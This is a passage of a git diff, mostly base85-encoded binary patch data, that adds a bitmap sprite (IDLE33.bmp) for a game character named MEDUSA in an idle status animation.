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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp new file mode 100644 index 0000000000000000000000000000000000000000..fc14d1108dc9d5ae6d54689d19dc70087c8ab9ff GIT binary patch literal 18462 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⁣l`+u6a`)cC;tC!avjo(sD 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 